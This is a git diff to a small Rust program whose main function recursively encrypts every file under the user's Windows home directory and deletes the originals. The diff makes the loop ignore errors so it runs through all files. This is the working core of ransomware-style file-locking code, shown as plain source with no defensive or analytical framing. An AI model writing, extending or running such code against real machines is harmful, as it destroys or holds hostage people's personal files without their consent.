diff --git a/src/crypto.rs b/src/crypto.rs index b2dd243..00a035a 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -62,6 +62,7 @@ fn get_all_files(dir: &str) -> Vec { for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() { + dbg!(&entry); file_paths.push(entry.path().display().to_string()); } } @@ -72,11 +73,12 @@ fn get_all_files(dir: &str) -> Vec { pub fn encrypt_directory(directory_path: &str) -> Result<(), Box> { let directory = get_all_files(directory_path); + dbg!(&directory); for mut file in directory { let encrypted_file_path = file.as_mut().to_owned() + ".enc"; dbg!(&encrypted_file_path); - if encrypt_file(&file, &encrypted_file_path).is_err() { break; } - if fs::remove_file(file).is_err() { break; } + let _ = encrypt_file(&file, &encrypted_file_path); + let _ = fs::remove_file(file); } Ok(()) } @@ -87,8 +89,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box> { let mut file_path = file.as_mut().to_owned(); let ext_index = file_path.rfind('.').unwrap(); file_path.truncate(ext_index); - if decrypt_file(&file, &file_path).is_err() { break; } - if fs::remove_file(file).is_err() { break; } + let _ = decrypt_file(&file, &file_path); + let _ = fs::remove_file(file); } Ok(()) } diff --git a/src/encrypt.rs b/src/encrypt.rs index 12f60d6..998b087 100644 --- a/src/encrypt.rs +++ b/src/encrypt.rs @@ -1,12 +1,11 @@ mod crypto; use crypto::encrypt_directory; -extern crate dirs; -use dirs::home_dir; +use std::env; fn main() { - let home = home_dir().unwrap(); // no way this could fail! + let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! dbg!(&home); - encrypt_directory(home.to_str().unwrap()).unwrap(); // I know this many unwraps look + encrypt_directory(&home).unwrap(); // I know this many unwraps look // suspicious, but the chance of this // failing is less than a solar flare. }